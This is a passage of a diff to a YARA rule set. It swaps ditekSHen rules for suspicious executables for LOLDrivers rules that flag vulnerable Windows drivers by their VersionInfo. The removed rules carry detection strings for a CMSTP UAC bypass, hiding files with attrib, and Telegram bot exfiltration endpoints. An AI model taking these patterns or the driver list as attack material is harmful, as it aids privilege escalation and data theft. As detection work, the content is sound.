+		hash = "98ec7cc994d26699f5d26103a0aeb361128cff3c2c4d624fc99126540e23e97e"
+		logic_hash = "27e4fb74a63ee1fe3b3bcf97e2ed01b02d05339cce2f18c2f010577d80dbb243"
 		score = 40
-		quality = 41
+		quality = 80
 		tags = "FILE"
-		importance = 20
 
 	strings:
-		$s1 = "c:\\windows\\system32\\cmstp.exe" ascii wide nocase
-		$s2 = "taskkill /IM cmstp.exe /F" ascii wide nocase
-		$s3 = "CMSTPBypass" fullword ascii
-		$s4 = "CommandToExecute" fullword ascii
-		$s5 = "RunPreSetupCommands=RunPreSetupCommandsSection" fullword wide
-		$s6 = "\"HKLM\", \"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\CMMGR32.EXE\", \"ProfileInstallPath\", \"%UnexpectedError%\", \"\"" fullword wide nocase
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0045006c0062007900430044002000570069006e0064006f007700730020004e0054002f003200300030003000200049002f004f0020006400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0045006c00610062006f0072006100740065002000420079007400650073 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002c00200030002c00200031002c00200030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002c00200030002c00200030002c00200031 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0045006c00620079004300440049004f }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043004400520054006f006f006c0073 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0045006c00620079004300440049004f002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200045006c00610062006f007200610074006500200042007900740065007300200032003000300030 }
 
 	condition:
-		uint16(0)==0x5a4d and 3 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "pe"
-import "time"
-
-rule DITEKSHEN_INDICATOR_SUSPICIOUS_JS_WMI_Execquery
+rule LOLDRIVERS_PUA_VULN_Driver_Msi_Ntiolibsys_Ntiolib_591B : FILE
 {
 	meta:
-		description = "Detects JS potentially executing WMI queries"
-		author = "ditekSHen"
-		id = "28f37b24-8bf3-5f5c-af47-dc6da5f6397a"
-		date = "2024-06-08"
-		modified = "2024-06-08"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L1135-L1147"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "e5145aa3a7ce54cda84929f6806a1d7b1cb37db729bb932c5c76994fb683250e"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - NTIOLib.sys"
+		author = "Florian Roth"
+		id = "b4f581f6-66e5-5b85-9b2d-b1532dd2defe"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L2825-L2844"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "591bd5e92dfa0117b3daa29750e73e2db25baa717c31217539d30ffb1f7f3a52"
+		logic_hash = "471fab20146586dacf37b9bb3f43ee578339c73f204487556987803d12a64f95"
 		score = 40
-		quality = 45
-		tags = ""
-		importance = 20
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$ex = ".ExecQuery(" ascii nocase
-		$s1 = "GetObject(" ascii nocase
-		$s2 = "String.fromCharCode(" ascii nocase
-		$s3 = "ActiveXObject(" ascii nocase
-		$s4 = ".Sleep(" ascii nocase
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e00540049004f004c0069006200200046006f00720020004d005300490052006100740069006f005f00430043 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d00530049 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e00540049004f004c00690062 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300038002d00320030003000390020004d00530049002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		($ex and all of ($s*))
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "pe"
-import "time"
-
-rule DITEKSHEN_INDICATOR_SUSPICIOUS_XML_Liverpool_Downlaoder_Userconfig : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Openlibsysorg_Winringsys_Winring_47EA : FILE
 {
 	meta:
-		description = "Detects XML files associated with 'Liverpool' downloader containing encoded executables"
-		author = "ditekSHen"
-		id = "b5840af5-a285-53f4-bac7-07821e740089"
-		date = "2024-06-08"
-		modified = "2024-06-08"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L1227-L1236"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "8140c29eb54d8c8786b268d5241fcd221a5fb95433bc1038a7f23295afe8c9b8"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - WinRing0.sys, WinRing0x64"
+		author = "Florian Roth"
+		id = "b14e5697-a0f7-5af0-a0da-0f5ca2d88c1c"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L2847-L2867"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "47eaebc920ccf99e09fc9924feb6b19b8a28589f52783327067c9b09754b5e84"
+		hash = "3ec5ad51e6879464dfbccb9f4ed76c6325056a42548d5994ba869da9c4c039a8"
+		logic_hash = "e6bea09a04b7f043d9a8cef4c8dc3e2f087fdf1a981f6d23dee728ea6d15d792"
 		score = 40
-		quality = 45
+		quality = 80
 		tags = "FILE"
-		importance = 20
 
 	strings:
-		$s1 = "<configSections>" ascii nocase
-		$s2 = "<value>77 90" ascii nocase
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00570069006e00520069006e00670030 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004f00700065006e004c00690062005300790073002e006f00720067 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0031002e0032 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0031002e0032 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00570069006e00520069006e00670030002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00570069006e00520069006e00670030 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00570069006e00520069006e00670030002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000370020004f00700065006e004c00690062005300790073002e006f00720067002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		uint32(0)==0x6d783f3c and all of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "pe"
-import "time"
-
-rule DITEKSHEN_INDICATOR_SUSPICIOUS_EXE_B64_Encoded_Useragent : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Insydesoftwarecorp_Segwindrvxsys_Segwindowsdriverx_6532 : FILE
 {
 	meta:
-		description = "Detects executables containing base64 encoded User Agent"
-		author = "ditekSHen"
-		id = "e6a6eba2-587f-5b6b-b23d-4e4aa5289d1d"
-		date = "2024-06-08"
-		modified = "2024-06-08"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L1238-L1247"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "ee06d3d9f2f7a294ce0f117d5838fe86ae77f98da0ba30551b0b42811227b1bd"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - segwindrvx64.sys"
+		author = "Florian Roth"
+		id = "b9a6e1e6-1bc5-587f-a31f-8dc55568ad9e"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L2870-L2889"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "65329dad28e92f4bcc64de15c552b6ef424494028b18875b7dba840053bc0cdd"
+		logic_hash = "b4f90f50b2e90fd8dc57778ba8f650ed201fe2f11f145e981d13021f87746d1f"
 		score = 40
-		quality = 45
+		quality = 80
 		tags = "FILE"
-		importance = 20
 
 	strings:
-		$s1 = "TW96aWxsYS81LjAgK" ascii wide
-		$s2 = "TW96aWxsYS81LjAgKFdpbmRvd3M" ascii wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005300450047002000570069006e0064006f0077007300200044007200690076006500720020007800360034 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0049006e007300790064006500200053006f00660074007700610072006500200043006f00720070002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]003100300030002e00300030002e00300037002e00300032 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]003100300030002e00300030002e00300037002e00300032 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00730065006700770069006e006400720076007800360034002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005300450047002000570069006e0064006f0077007300200044007200690076006500720020007800360034 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00730065006700770069006e006400720076007800360034002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800630029002000320030003100320020002d00200032003000310035002c00200049006e007300790064006500200053006f00660074007700610072006500200043006f00720070002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }
 
 	condition:
-		uint16(0)==0x5a4d and any of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "pe"
-import "time"
-
-rule DITEKSHEN_INDICATOR_SUSPICIOUS_EXE_Winddefender_Antiemaulation : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Advancedmicrodevices_Amdryzenmasterdriversys_Amdryzenmasterservicedriver_909D : FILE
 {
 	meta:
-		description = "Detects executables containing potential Windows Defender anti-emulation checks"
-		author = "ditekSHen"
-		id = "e7dca0e6-060b-5394-afc5-b3705a51d934"
-		date = "2024-06-08"
-		modified = "2024-06-08"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L1249-L1258"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "76f8a532a59c2a7fcd45d9f9aed3ea2020889228c81410445728f42b6b9d891e"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - AMDRyzenMasterDriver.sys"
+		author = "Florian Roth"
+		id = "8dcbf930-ae97-5389-9b68-793dc82b042b"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L2892-L2911"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "909de5f21837ea2b13fdc4e5763589e6bdedb903f7c04e1d0b08776639774880"
+		logic_hash = "669972137fad6a5cc701ea56cf8ae85e08d2131f026e8cf1bd5c85ca1754d3cb"
 		score = 40
-		quality = 45
+		quality = 80
 		tags = "FILE"
-		importance = 20
 
 	strings:
-		$s1 = "JohnDoe" fullword ascii wide
-		$s2 = "HAL9TH" fullword ascii wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041004d0044002000520079007a0065006e0020004d00610073007400650072002000530065007200760069006300650020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041006400760061006e0063006500640020004d006900630072006f00200044006500760069006300650073 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0035002e0030002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0035002e0030002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0041004d004400520079007a0065006e004d00610073007400650072004400720069007600650072002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041004d0044002000520079007a0065006e0020004d00610073007400650072002000530065007200760069006300650020004400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0041004d004400520079007a0065006e004d00610073007400650072004400720069007600650072002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a90020003200300032003000200041004d0044002c00200049006e0063002e }
 
 	condition:
-		uint16(0)==0x5a4d and all of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "pe"
-import "time"
-
-rule DITEKSHEN_INDICATOR_SUSPICIOUS_EXE_Attrib : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Atitechnologiesinc_Atillksys_Atidiagnostics_AD40 : FILE
 {
 	meta:
-		description = "Detects executables using attrib with suspicious attributes attributes"
-		author = "ditekSHen"
-		id = "69925f45-b8a9-516c-857c-7a687b32e0c6"
-		date = "2024-06-08"
-		modified = "2024-06-08"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L1260-L1268"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "2d26581037a34f32b3e3aa6df5570f0de0b9e070cbe6190318a99c6f147250d8"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - atillk64.sys"
+		author = "Florian Roth"
+		id = "f5e53c71-1c12-5df8-a2cc-563473190c87"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L2914-L2938"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "ad40e6d0f77c0e579fb87c5106bf6de3d1a9f30ee2fbf8c9c011f377fa05f173"
+		hash = "6c6c5e35accc37c928d721c800476ccf4c4b5b06a1b0906dc5ff4df71ff50943"
+		hash = "38bb9751a3a1f072d518afe6921a66ee6d5cf6d25bc50af49e1925f20d75d4d7"
+		hash = "c825a47817399e988912bb75106befaefae0babc0743a7e32b46f17469c78cad"
+		hash = "be66f3bbfed7d648cfd110853ddb8cef561f94a45405afc6be06e846b697d2b0"
+		hash = "5c04c274a708c9a7d993e33be3ea9e6119dc29527a767410dbaf93996f87369a"
+		logic_hash = "929e467d52a19dfba2c8ca6c4124881d76c239a4d04ce10c195665bf4bfea373"
 		score = 40
-		quality = 45
+		quality = 80
 		tags = "FILE"
-		importance = 20
 
 	strings:
-		$s1 = "attrib +h +r +s" ascii wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410054004900200044006900610067006e006f007300740069006300730020004800610072006400770061007200650020004100620073007400720061006300740069006f006e0020005300790073 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410054004900200054006500630068006e006f006c006f006700690065007300200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0035002e00310031002e0039002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0035002e00310031002e0039002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100740069006c006c006b00360034002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410054004900200044006900610067006e006f00730074006900630073 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100740069006c006c006b00360034002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000410054004900200054006500630068006e006f006c006f006700690065007300200049006e0063002e002c00200032003000300033 }
 
 	condition:
-		uint16(0)==0x5a4d and any of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "pe"
-import "time"
-
-rule DITEKSHEN_INDICATOR_SUSPICIOUS_EXE_Clearmytracksbyprocess : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Computerzsys_Ludashisystemdriver_E502 : FILE
 {
 	meta:
-		description = "Detects executables calling ClearMyTracksByProcess"
-		author = "ditekSHen"
-		id = "d548cf61-ffb7-5a21-9b76-246f8ffb6ad4"
-		date = "2024-06-08"
-		modified = "2024-06-08"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L1270-L1278"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "970bdf2cfebc5196204087de134b9d2f032d8074cacbb3b9cc2c859aab3a95fc"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ComputerZ.Sys"
+		author = "Florian Roth"
+		id = "b0f9239b-2acb-5164-8b21-791f69d4e047"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L2941-L2963"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "e502c2736825ea0380dd42effaa48105a201d4146e79de00713b8d3aaa98cd65"
+		hash = "5c80dc051c4b0c62b9284211f71e5567c0c0187e466591eacb93e7dc10e4b9ab"
+		hash = "d6801e845d380c809d0da8c7a5d3cd2faa382875ae72f5f7af667a34df25fbf7"
+		hash = "d474ea066d416ded9ed8501c285ca6b1c26a1d1c813c8f6bd5523eeb66c5d01e"
+		logic_hash = "f1e88064cf1a4902da5ee870a605219943740e557845b1f4e99f1cea2c28b77c"
 		score = 40
-		quality = 43
+		quality = 80
 		tags = "FILE"
-		importance = 20
 
 	strings:
-		$s1 = "InetCpl.cpl,ClearMyTracksByProcess" ascii wide nocase
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004c007500640061007300680069002000530079007300740065006d0020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]9c8159275e08 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0033002e00310030002e0031003100310030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0033002e00310030002e0031003100310030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0043006f006d00700075007400650072005a002e005300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004c007500640061007300680069002000530079007300740065006d0020004400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0043006f006d00700075007400650072005a002e005300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300038002d00320030003100300020007700770077002e006c007500640061007300680069002e0063006f006d }
 
 	condition:
-		uint16(0)==0x5a4d and any of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "pe"
-import "time"
-
-rule DITEKSHEN_INDICATOR_SUSPICIOUS_EXE_Dotnetprochook : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Avgtechnologiesczsro_Aswarpot_Avginternetsecuritysystem_0CD4 : FILE
 {
 	meta:
-		description = "Detects executables with potential process hoocking"
-		author = "ditekSHen"
-		id = "1c32c7ee-0ac6-50ae-892e-73f46902115d"
-		date = "2024-06-08"
-		modified = "2024-06-08"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L1280-L1291"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "e01147886444f8080b7cf7b423dc70b4b08fae6b88a8875eb075530fdb9f7909"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		id = "6ee8fb67-896d-534f-9602-a0f46a43e5cd"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L2966-L2985"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "0cd4ca335155062182608cad9ef5c8351a715bce92049719dd09c76422cd7b0c"
+		logic_hash = "b0ef81e3a05326390a7d2f00499cf3aaf0610b03f3df2313d5a1f2dddff3555f"
 		score = 40
-		quality = 45
+		quality = 80
 		tags = "FILE"
-		importance = 20
 
 	strings:
-		$s1 = "UnHook" fullword ascii
-		$s2 = "SetHook" fullword ascii
-		$s3 = "CallNextHook" fullword ascii
-		$s4 = "_hook" fullword ascii
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200041006e0074006900200052006f006f0074006b00690074 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00320030002e0033002e00360038002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00320030002e0033002e00360038002e0030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000320030002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e }
 
 	condition:
-		uint16(0)==0x5a4d and all of them
+		uint16(0)==0x5a4d and filesize <300KB and all of them
 }
-import "pe"
-import "time"
-
-rule DITEKSHEN_INDICATOR_SUSPICIOUS_EXE_Telegramchatbot : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroaegis_3FA6 : FILE
 {
 	meta:
-		description = "Detects executables using Telegram Chat Bot"
-		author = "ditekSHen"
-		id = "bcee52fe-495a-5ea1-bcd9-78b57c992752"
-		date = "2024-06-08"
-		modified = "2024-06-08"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L1293-L1308"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "40374d9dda3d1896906f342725425860e83fbe6b5b0ac656a7035094e36340c0"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		id = "25f27f08-3aab-5b8f-bf59-37a40de4fb44"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L2988-L3007"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "3fa6379951f08ed3cb87eeba9cf0c5f5e1d0317dcfcf003b810df9d795eeb73e"
+		logic_hash = "c1d75b4073f212403f3e7b50cd8c1ea2a8a979bca7cf2dd4cd05bfca03d49c48"
 		score = 40
-		quality = 45
+		quality = 80
 		tags = "FILE"
-		importance = 20
 
 	strings:
-		$s1 = "https://api.telegram.org/bot" ascii wide
-		$s2 = "/sendMessage?chat_id=" fullword ascii wide
-		$s3 = "Content-Disposition: form-data; name=\"" fullword ascii
-		$s4 = "/sendDocument?chat_id=" fullword ascii wide
-		$p1 = "/sendMessage" ascii wide
-		$p2 = "/sendDocument" ascii wide
-		$p3 = "&chat_id=" ascii wide
-		$p4 = "/sendLocation" ascii wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e00380030002e0030002e0031003000370037 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e00380030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f002000410045004700490053 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300035002d00320030003000390020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e }
 
 	condition:
-		uint16(0)==0x5a4d and (2 of ($s*) or (2 of ($p*) and 1 of ($s*)))
+		uint16(0)==0x5a4d and filesize <200KB and all of them
 }
-import "pe"
-import "time"
-
-rule DITEKSHEN_INDICATOR_SUSPICIOUS_EXE_B64_Artifacts : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_3E1D : FILE
 {
 	meta:
-		description = "Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc."
-		author = "ditekSHen"
-		id = "b76ba291-6af5-5800-a280-c04c84cc3f29"
-		date = "2024-06-08"
-		modified = "2024-06-08"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_suspicious.yar#L1310-L1321"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "35a7a9c0722d8bd174b272c659e62db3e9f41483dc3a9bf5f339b9066ed06c57"
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		id = "d8d61d0b-d859-5e7e-9ef6-b232ab499560"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L3010-L3029"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "3e1d47a497babbfd1c83905777b517ec87c65742bee7eb57a2273eca825d2272"
+		logic_hash = "29f4dbbd8dd749a9ccf94cd59010c8c8b63ce1d33c93f05b1f24b1e6a216aff6"
 		score = 40
-		quality = 45
+		quality = 80
 		tags = "FILE"
-		importance = 20
 
 	strings:
